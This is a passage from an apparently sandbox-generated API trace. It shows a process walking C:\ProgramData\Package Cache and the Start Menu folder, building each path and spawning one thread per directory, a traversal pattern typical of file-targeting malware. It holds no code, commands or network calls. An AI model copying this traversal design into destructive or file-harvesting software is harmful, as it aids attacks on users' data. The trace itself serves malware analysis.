Size=0x88) returned 0x12e2b878 [0066.840] wcscpy (in: _Dest=0x12e2b878, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0066.840] wcscat (in: _Dest=0x12e2b878, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0066.840] wcscat (in: _Dest=0x12e2b878, _Source="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0066.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12e2b878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf94 [0066.841] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x449800 | out: lpFindFileData=0x449800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1 [0066.841] wcscmp (_String1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", _String2=".") returned 1 [0066.841] wcscmp (_String1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", _String2="..") returned 1 [0066.842] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa0) returned 0x12cfbc98 [0066.842] wcscpy (in: _Dest=0x12cfbc98, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0066.842] wcscat (in: _Dest=0x12cfbc98, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0066.842] wcscat (in: _Dest=0x12cfbc98, _Source="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0066.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12cfbc98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe50 [0066.843] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x449800 | out: lpFindFileData=0x449800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1 [0066.843] wcscmp (_String1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", _String2=".") returned 1 [0066.843] wcscmp (_String1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", _String2="..") returned 1 [0066.843] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa0) returned 0x12cfbd40 [0066.843] wcscpy (in: _Dest=0x12cfbd40, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0066.843] wcscat (in: _Dest=0x12cfbd40, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0066.843] wcscat (in: _Dest=0x12cfbd40, _Source="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0066.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12cfbd40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x964 [0066.844] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x449800 | out: lpFindFileData=0x449800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1 [0066.844] wcscmp (_String1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", _String2=".") returned 1 [0066.844] wcscmp (_String1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", _String2="..") returned 1 [0066.844] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa0) returned 0x12cfbde8 [0066.844] wcscpy (in: _Dest=0x12cfbde8, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0066.844] wcscat (in: _Dest=0x12cfbde8, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0066.844] wcscat (in: _Dest=0x12cfbde8, _Source="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0066.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12cfbde8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe68 [0066.937] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x449800 | out: lpFindFileData=0x449800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0066.937] wcscmp (_String1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", _String2=".") returned 1 [0066.937] wcscmp (_String1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", _String2="..") returned 1 [0066.937] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x12cfbe90 [0066.937] wcscpy (in: _Dest=0x12cfbe90, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0066.937] wcscat (in: _Dest=0x12cfbe90, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0066.937] wcscat (in: _Dest=0x12cfbe90, _Source="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0066.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12cfbe90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1198 [0066.939] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x449800 | out: lpFindFileData=0x449800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0066.939] wcscmp (_String1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", _String2=".") returned 1 [0066.939] wcscmp (_String1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", _String2="..") returned 1 [0066.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x12cfbf38 [0066.939] wcscpy (in: _Dest=0x12cfbf38, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0066.939] wcscat (in: _Dest=0x12cfbf38, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0066.939] wcscat (in: _Dest=0x12cfbf38, _Source="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0066.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12cfbf38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba0 [0066.941] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x449800 | out: lpFindFileData=0x449800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0066.941] wcscmp (_String1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", _String2=".") returned 1 [0066.941] wcscmp (_String1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", _String2="..") returned 1 [0066.941] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x12cfbfe0 [0066.941] wcscpy (in: _Dest=0x12cfbfe0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0066.941] wcscat (in: _Dest=0x12cfbfe0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0066.941] wcscat (in: _Dest=0x12cfbfe0, _Source="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0066.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12cfbfe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd04 [0066.944] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x449800 | out: lpFindFileData=0x449800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0066.944] wcscmp (_String1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", _String2=".") returned 1 [0066.944] wcscmp (_String1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", _String2="..") returned 1 [0066.944] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x12cfc088 [0066.944] wcscpy (in: _Dest=0x12cfc088, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0066.944] wcscat (in: _Dest=0x12cfc088, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0066.944] wcscat (in: _Dest=0x12cfc088, _Source="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0066.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12cfc088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x904 [0066.945] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x449800 | out: lpFindFileData=0x449800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfaaff840, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0066.945] wcscmp (_String1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", _String2=".") returned 1 [0066.945] wcscmp (_String1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", _String2="..") returned 1 [0066.945] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2b908 [0066.945] wcscpy (in: _Dest=0x12e2b908, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0066.946] wcscat (in: _Dest=0x12e2b908, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0066.946] wcscat (in: _Dest=0x12e2b908, _Source="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0066.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12e2b908, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4 [0066.947] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x449800 | out: lpFindFileData=0x449800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0066.947] wcscmp (_String1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", _String2=".") returned 1 [0066.947] wcscmp (_String1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", _String2="..") returned 1 [0066.947] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x12cfc130 [0066.948] wcscpy (in: _Dest=0x12cfc130, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0066.948] wcscat (in: _Dest=0x12cfc130, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0066.948] wcscat (in: _Dest=0x12cfc130, _Source="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0066.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12cfc130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfac [0066.949] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x449800 | out: lpFindFileData=0x449800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1 [0066.949] wcscmp (_String1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", _String2=".") returned 1 [0066.949] wcscmp (_String1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", _String2="..") returned 1 [0066.949] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa0) returned 0x12cfc1d8 [0066.949] wcscpy (in: _Dest=0x12cfc1d8, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0066.949] wcscat (in: _Dest=0x12cfc1d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0066.949] wcscat (in: _Dest=0x12cfc1d8, _Source="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0066.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12cfc1d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x940 [0066.951] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x449800 | out: lpFindFileData=0x449800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa912d270, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1 [0066.951] wcscmp (_String1="{e52a6842-b0ac-476e-b48f-378a97a67346}", _String2=".") returned 1 [0066.951] wcscmp (_String1="{e52a6842-b0ac-476e-b48f-378a97a67346}", _String2="..") returned 1 [0066.951] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x19ccc060 [0066.955] wcscpy (in: _Dest=0x19ccc060, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0066.955] wcscat (in: _Dest=0x19ccc060, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0066.955] wcscat (in: _Dest=0x19ccc060, _Source="{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0066.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x19ccc060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1168 [0066.956] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x449800 | out: lpFindFileData=0x449800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcad7040, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0066.956] wcscmp (_String1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", _String2=".") returned 1 [0066.956] wcscmp (_String1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", _String2="..") returned 1 [0066.956] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x19ccc0f0 [0066.956] wcscpy (in: _Dest=0x19ccc0f0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0066.956] wcscat (in: _Dest=0x19ccc0f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0066.956] wcscat (in: _Dest=0x19ccc0f0, _Source="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0066.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x19ccc0f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe74 [0066.957] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x449800 | out: lpFindFileData=0x449800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf93efac0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1 [0066.957] wcscmp (_String1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", _String2=".") returned 1 [0066.957] wcscmp (_String1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", _String2="..") returned 1 [0066.957] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x19ccc180 [0066.957] wcscpy (in: _Dest=0x19ccc180, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0066.957] wcscat (in: _Dest=0x19ccc180, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0066.957] wcscat (in: _Dest=0x19ccc180, _Source="{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0066.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x19ccc180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd8 [0066.959] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x449800 | out: lpFindFileData=0x449800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0066.959] wcscmp (_String1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", _String2=".") returned 1 [0066.959] wcscmp (_String1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", _String2="..") returned 1 [0066.959] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x12cfc280 [0066.959] wcscpy (in: _Dest=0x12cfc280, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0066.959] wcscat (in: _Dest=0x12cfc280, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0066.959] wcscat (in: _Dest=0x12cfc280, _Source="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0066.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12cfc280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfb4 [0066.960] FindNextFileW (hFindFile=0x409ca8, lpFindFileData=0x449800) Thread: id = 100 os_tid = 0xb90 [0045.802] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x38) returned 0x409ba8 [0045.802] wcscpy (in: _Dest=0x409ba8, _Source="C:\\ProgramData\\Start Menu" | out: _Dest="C:\\ProgramData\\Start Menu") returned="C:\\ProgramData\\Start Menu" [0045.802] wcscat (in: _Dest=0x409ba8, _Source="\\" | out: _Dest="C:\\ProgramData\\Start Menu\\") returned="C:\\ProgramData\\Start Menu\\" [0045.802] wcscat (in: _Dest=0x409ba8, _Source="*" | out: _Dest="C:\\ProgramData\\Start Menu\\*") returned="C:\\ProgramData\\Start Menu\\*" [0045.802] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x44b1a8 [0045.803] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Start Menu\\*", lpFindFileData=0x44b1a8 | out: lpFindFileData=0x44b1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, 